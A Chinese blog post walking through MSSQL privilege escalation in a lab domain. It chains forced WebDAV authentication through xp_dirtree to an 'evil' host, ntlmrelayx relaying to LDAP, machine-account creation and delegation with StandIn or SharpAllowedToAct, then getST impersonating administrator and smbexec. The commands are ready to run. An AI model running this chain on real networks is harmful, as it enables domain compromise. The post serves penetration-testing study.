首页 > 数据库 >MSSQL结合RBCD提权

MSSQL结合RBCD提权

时间:2023-01-10 20:34:13浏览次数:62  
标签:StandIn -- v13 DESKTOP 提权 RBCD kdc com MSSQL

MSSQL结合RBCD提权

原理

这里使用中继的方式给他中继到ldap中去添加msDS-AllowedToActOnBehalfOfOtherIdentity属性。默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。而在mssql当前是nt service权限所以用的是机器账户去做认证,机器账户是可以创建机器账户的。

img

img

限制

需要开启webclient服务

完全限定名(FQDN)这个可以添加dns记录来实现

中继的攻击思路

img

xp_dirtree

xp_dirtree使用以下方式进行请求是通过 UNC 的触发方式同样可以对 WebDAV 进行认证,WebDAV请求去中继是不会有NTLM签名限制问题的。具体可以参考https://en.hackndo.com/ntlm-relay/

xp_dirtree '\\hostname@SSL\test' --ssl 443
xp_dirtree '\\hostname@SSL@1234\test' --ssl port 1234
xp_dirtree '\\hostname@1234\test' --http

复现

sc query webclient

查询webclient是否开启

img

Invoke-DNSUpdate -DNSType A -DNSName unicodesec -DNSData 192.168.92.151
python3 ntlmrelayx.py -t ldap://172.16.108.165 -smb2support --delegate-access --add-computer -debug

也可以使用

execute-assembly /Users/giaogiao/Desktop/tools/Tools/内网/StandIn_v13_Net35_45/StandIn_v13_Net45.exe  --computer DESKTOP-JSMITH --make

在当前权限下添加一个DESKTOP-JSMITH的机器账户

exec master.dbo.xp_dirtree '\\evil@80\test' 

img

触发webdav请求

img

img

img

下面就是拿创建的机器账户获取高权限票据,和资源委派的步骤一样

python3 getST.py -spn cifs/DESKTOP-0ND3PBE.kdc.com 'kdc.com/LLGSQUWS$:V)iU_pwJ)(tEr!l' -impersonate administrator -dc-ip 172.16.108.165
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -k -no-pass DESKTOP-0ND3PBE.kdc.com -target-ip 172.16.108.164 -debug

img

烂番茄(Rotten Tomato)

img

execute-assembly /Users/nice0e3/Downloads/StandIn_v13_Net35_45/StandIn_v13_Net35.exe  --computer DESKTOP-JSMITH --make

使用当前权限添加机器账户

img

execute-assembly /Users/nice0e3/Downloads/StandIn_v13_Net35_45/StandIn_v13_Net35.exe  --computer DESKTOP-0ND3PBE --sid S-1-5-21-879933513-2804727210-1548949402-1603

添加msDS-AllowedToActOnBehalfOfOtherIdentity这个属性

--computer 为需要提权的用户

--sid 是添加的机器用户的sid

img

img

img

接下来使用该机器账户申请高权限票据

python3 getST.py -spn cifs/DESKTOP-0ND3PBE.kdc.com 'kdc.com/DESKTOP-JSMITH$:e5YnDP1kSLpgkje' -impersonate administrator -dc-ip 172.16.108.165

export KRB5CCNAME=administrator.ccache

python3 smbexec.py -k -no-pass DESKTOP-0ND3PBE.kdc.com -target-ip 172.16.108.164 -debug

img

SharpAllowedToAct

也可以使用SharpAllowedToAct进行添加,需要使用原版的

https://github.com/pkb1s/SharpAllowedToAct/

execute-assembly /Users/nice0e3/Downloads/SharpAllowedToAct-Modify-main/SharpAllowedToAct/SharpAllowedToAct.exe -m giaogiao -p e5YnDP1kSLpgkje -t DESKTOP-0ND3PBE -a dc.kdc.com -d kdc.com

添加一个giaogiao的机器用户,并且设置msDS-AllowedToActOnBehalfOfOtherIdentity属性

img

删除msDS-AllowedToActOnBehalfOfOtherIdentity属性

execute-assembly /Users/nice0e3/Downloads/StandIn_v13_Net35_45/StandIn_v13_Net35.exe  --computer DESKTOP-0ND3PBE --remove

img

参考

https://www.freebuf.com/articles/database/278397.html
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/

标签:StandIn,--,v13,DESKTOP,提权,RBCD,kdc,com,MSSQL
From: https://www.cnblogs.com/nice0e3/p/17041293.html

相关文章

  • SqlServer 多服务器管理(MSSQL分布式作业管理)
    范围的多个实例的自动化管理SQLServer称为多服务器管理。使用多服务器管理可以执行下列操作:管理两台或多台服务器。在企业服务器之间安排数据仓库的信息流。若要利用......
  • Vulnhub之Funbox 4靶机详细测试过程(由于缺包,提权失败)
    Funbox4识别目标主机IP地址(kali㉿kali)-[~/Desktop/Vulnhub/Funbox4]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|......
  • Windows提权
    下边内容都是一些提权思路的整理,对于很多知识点并没有细化和深入,仅供个人参考,日后在实战中碰到了会深入学习并记录在新的文章中。基础知识权限组划分:Administrators:管......
  • Mysql提权
    UDF提权原理UDF(userdefinedfunction)即用户自定义函数是Mysql的一个拓展接口,用户通过自定义函数可以实现在Mysql中无法方便实现的功能,其添加的新函数都可以在SQL语句中......
  • MSSQL攻击面探索
    xp_cmdshell开启id=1'EXECsp_configure'showadvancedoptions',1;RECONFIGURE;execSP_CONFIGURE'xp_cmdshell',1;RECONFIGURE;--+命令执行id=1'execm......
  • MSSQL数据库提权之XP_cmdshell提权
    xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。启用xp_cmdshell:EXEC......
  • MySQL数据库提权之UDF提权和MOF提权
    UDF提权概念:udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。攻击者通过编写调用cmd或者shell的udf.dll文件,并且导入......
  • Linux提权之SUID提权
    概念SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限若是对一些特殊命令设置了SUID,那么就会有被提权的风险,常用的SUID提权命令有......
  • MSSQL链接错误___证书链是由不受信任的颁发机构颁发的
    provider:SSLProvider,error:0-证书链是由不受信任的颁发机构颁发的Aconnectionwassuccessfullyestablishedwiththeserver,butthenanerroroccurreddu......
  • centos7.9+mssql
    1、sudoyumupdate2、gcc8.xyum-yinstallcentos-release-sclyum-yinstalldevtoolset-8-gccdevtoolset-8-gcc-c++devtoolset-8-binutilssclenabledevtoolset-......